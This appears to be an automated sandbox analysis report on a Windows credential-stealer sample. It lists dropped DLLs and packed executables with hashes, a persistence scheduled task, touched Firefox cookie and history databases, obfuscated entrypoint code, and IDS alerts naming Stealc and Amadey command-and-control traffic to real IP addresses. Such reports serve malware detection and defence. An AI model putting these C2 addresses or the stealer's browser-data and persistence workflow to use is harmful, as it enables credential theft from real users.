C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2564096
Entropy (8bit):	7.9833367423799775
Encrypted:	false
SSDEEP:	49152:eTblBDqbYpQvG9NZwcpyx6mRCpbf6/UGmt1wBhgS7YLs/r0KaUJ25i:KblhqbYqv4NKcplm2usGGwBX8LsoKaCB
MD5:	B20D1E84EE4932C0D7A1D271A2C68436
SHA1:	A0665E1A3F7F678AEF6507C4CFC258E8AAE5C261
SHA-256:	5AC4E25D430C304C15C9D83BBB5DBEF0D290CB5E517BBF92899DDB63FDE1E43F
SHA-512:	C063A804C17F80908C564696E44710F916257C7C3AD55F11C86E76AAA92000F09A356E56D78F1B59F174190C6C5465C7EDA759303DDD320CF32B02A84D517D17
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!..................@.......................................@... .. .... .. .......... .................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............z...#..(..................@....data....."......."..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\6e6e496542.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2564096
Entropy (8bit):	7.9833367423799775
Encrypted:	false
SSDEEP:	49152:eTblBDqbYpQvG9NZwcpyx6mRCpbf6/UGmt1wBhgS7YLs/r0KaUJ25i:KblhqbYqv4NKcplm2usGGwBX8LsoKaCB
MD5:	B20D1E84EE4932C0D7A1D271A2C68436
SHA1:	A0665E1A3F7F678AEF6507C4CFC258E8AAE5C261
SHA-256:	5AC4E25D430C304C15C9D83BBB5DBEF0D290CB5E517BBF92899DDB63FDE1E43F
SHA-512:	C063A804C17F80908C564696E44710F916257C7C3AD55F11C86E76AAA92000F09A356E56D78F1B59F174190C6C5465C7EDA759303DDD320CF32B02A84D517D17
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!..................@.......................................@... .. .... .. .......... .................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............z...#..(..................@....data....."......."..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1891840
Entropy (8bit):	7.950703298875116
Encrypted:	false
SSDEEP:	49152:QoUMXNA6rEDrof7gzSdeRmeyC/0H9+q3uEoq:QpMXNA6oIeSiJyECH3Qq
MD5:	A7323BCF0DF71286FA3156CEFB8E3049
SHA1:	E9DD309D06CD5F9BFF60FC4DC914FE9672193C61
SHA-256:	486D31298B8392F4D62679AD3E5BCA6F0FFF1DEDA78851367021376C6A3C3D96
SHA-512:	9143E73A9CCC52305C8C43A0397F8F47CAEAF8A1953A96CF962890BF9757B5A9BB03E3B169612F8E7011757D20698662AE3F18A375C6BAF380C792C4E27E6AE1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................@K...........@..........................pK......!....@.................................X...l............................"K.............................`"K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...wcjrprme.....`1.....................@...aczpyjwy.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1891840
Entropy (8bit):	7.950703298875116
Encrypted:	false
SSDEEP:	49152:QoUMXNA6rEDrof7gzSdeRmeyC/0H9+q3uEoq:QpMXNA6oIeSiJyECH3Qq
MD5:	A7323BCF0DF71286FA3156CEFB8E3049
SHA1:	E9DD309D06CD5F9BFF60FC4DC914FE9672193C61
SHA-256:	486D31298B8392F4D62679AD3E5BCA6F0FFF1DEDA78851367021376C6A3C3D96
SHA-512:	9143E73A9CCC52305C8C43A0397F8F47CAEAF8A1953A96CF962890BF9757B5A9BB03E3B169612F8E7011757D20698662AE3F18A375C6BAF380C792C4E27E6AE1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................@K...........@..........................pK......!....@.................................X...l............................"K.............................`"K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...wcjrprme.....`1.....................@...aczpyjwy.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\Rnteb46TuM.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\AFBFHDBKJE.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4091376224400256
Encrypted:	false
SSDEEP:	6:37DZXaXUEZ+lX1QYShMl6lm6tE9+AQy0l1sg1ut0:flaQ13vgQ9+nV1sg1ut0
MD5:	189820CA2AEAD505A5981ABA455E7E8D
SHA1:	ABA0EAF312C6135A6DD8BB85625AA252029CD768
SHA-256:	A1F3A572C8CDD04CF1395E8D9C3EBF1ED1E41D77CEE2DC4B43F977D56CF052D4
SHA-512:	4194FE865025E72B67D0377B08CF9BC6C7F2F882665E60297870AC63583041014A44BD65164DADE54F3672255F23221FE09FDEDD8269768B62D0BCA790A2F558
Malicious:	false
Preview:	.....R^...tD....h...F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465924648124579
Encrypted:	false
SSDEEP:	6144:dzZfpi6ceLPx9skLmb0fBZWSP3aJG8nAgeiJRMMhA2zX4WABluuNLjDH5S:1ZHtBZWOKnMM6bFpZj4
MD5:	E8FF7273F37DD9B322226326E66E305B
SHA1:	A5F4BF2F0F4C76B357240687A97702F2D4B27DCB
SHA-256:	53DC160790E6B6A79B882A3A284976D64D86741A35D22DDA65918793E3EE6ED9
SHA-512:	7FC76A0EB34F8B04385673772A46DC6F93F08E0796C45CF0015654AE78F0AA7511D9CC30A5F99E85E3C05912FECEBF17B2D9599ADA638A7304215C7EBEBEB31E
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...pv.................................................................................................................................................................................................................................................................................................................................................D........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.983747303925545
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Rnteb46TuM.exe
File size:	2'509'824 bytes
MD5:	b3badd1cd2cba4f587bd6737d34d3569
SHA1:	bc229f10399c3482df1faa98bf7074a4440e82a5
SHA256:	9c1c20db1d73c66795b9b49f39aff02d621dd06c05d7d3ea1007ac7bcbf3f3cd
SHA512:	9ab73372ed54e468d90bda23279f983db8ca2486a41718fcba4e3b2931cf40c3f6e82c1fbe3cce695057d0fca241d40cda9b272a0e1cfc0ac4fdf1a5aad05b49
SSDEEP:	49152:rh/Kr1IeHpgDfCeER3nsxnC+Nisx8rAmTYQ:rVKBpHeDXERcM+sAW
TLSH:	A0C5332CE4A94452C0536EB6B4D3504B521B31CFBAA49AAB3FE1DB3FB952534C739B10
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xff42a0
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675FA89 [Fri Jun 21 22:11:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007F7FDC568B1Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BF42A0h
jmp 00007F7FDC568B19h
dec eax
fcmovnbe st(0), st(4)
fdivr dword ptr [eax+00BF42A0h]
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005B3h
mov edx, 6EE25626h
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007F7FDC568B0Ch
jmp 00007F7FDC568B19h
dec ebx
retf 39A7h
lodsd
jmp 00007F7FDC568ABFh
scasd
sbb ah, byte ptr [esi]
cmpsd
out DEh, eax
and eax, 26229EEBh
pushfd
push cs
rol esp, 1
and eax, 2AA7ADEEh
and eax, 42AB76E3h
add bl, dl
scasd
and al, byte ptr [edx]
dec esi
mov eax, EC4E2607h
test dword ptr [ebx+020A2726h], edi
dec esi
mov al, E1h
xchg eax, ebx
lodsd
into
and esp, dword ptr [esi]
iretd
push cs
jnc 00007F7FDC568AC2h
retf A3ADh
lodsd
mov bl, 2Ah
lodsd
stosd
out CFh, eax
and al, 17h
and al, A5h
in al, 22h
outsd
sub dword ptr [ebx-2626262Eh], esp
jnp 00007F7FDC568AF6h
sub ah, byte ptr [esi]
lodsd
stosb
add ah, byte ptr [edx]
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9d7020	0xdfd	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9d7e20	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9d7000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	3ceea1f51a5d5322083770c67767eab6	False	0.9994759908536586	data	7.9949641655914805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	203b2a731e5012181312ab8da1cb4387	False	0.9935302734375	data	7.980309777125587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	371be828257df7049520be33610333f3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	e1d2004cf8b4fca1e58d12bef925324d	False	0.9891357421875	data	7.952939990721896	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x798000	0x32800	b747ec593a7ae65fb157808909e4a7f5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9d4000	0x222000	0x221800	3896571dca6fa936a18eea053b867d50	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/01/24-07:20:34.832084	TCP	2051831	ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	80	49711	85.28.47.4	192.168.2.6
07/01/24-07:21:03.752509	TCP	2044696	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2	49728	80	192.168.2.6	77.91.77.82
07/01/24-07:20:59.307748	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49725	80	192.168.2.6	77.91.77.82
07/01/24-07:21:00.214481	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49725	77.91.77.82	192.168.2.6
07/01/24-07:20:34.649694	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49711	80	192.168.2.6	85.28.47.4
07/01/24-07:20:33.729490	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49711	80	192.168.2.6	85.28.47.4
07/01/24-07:20:34.392175	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49711	80	192.168.2.6	85.28.47.4
07/01/24-07:20:34.579667	TCP	2051828	ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1	80	49711	85.28.47.4	192.168.2.6
07/01/24-07:21:03.765412	TCP	2044243	ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in	49729	80	192.168.2.6	85.28.47.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 07:20:33.723735094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:33.728769064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:33.728908062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:33.729490042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:33.738219023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.382730007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.382829905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.392174959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.397068024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.579667091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.579711914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.579762936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.579910040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.579910040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.649693966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.654683113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.832083941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.832140923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.832178116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.832184076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.832212925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.832223892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.832223892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.832261086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.832273006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:34.832334995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.835709095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:34.840720892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.017797947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.018039942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:35.039299965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:35.039355040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:35.044188023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.044234037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.044316053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.044372082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.044457912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.044467926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.044476986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.803379059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:35.803495884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.070133924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.075041056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.250509977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.250523090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.250576019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.250621080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.250631094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.250643015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.250686884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.250978947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251017094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251038074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251049042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251059055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251072884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251090050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251516104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251564980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251565933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251580000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251604080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251615047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.251632929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.251642942 CEST	80	49711	85.28.47.4	192.168.2.6
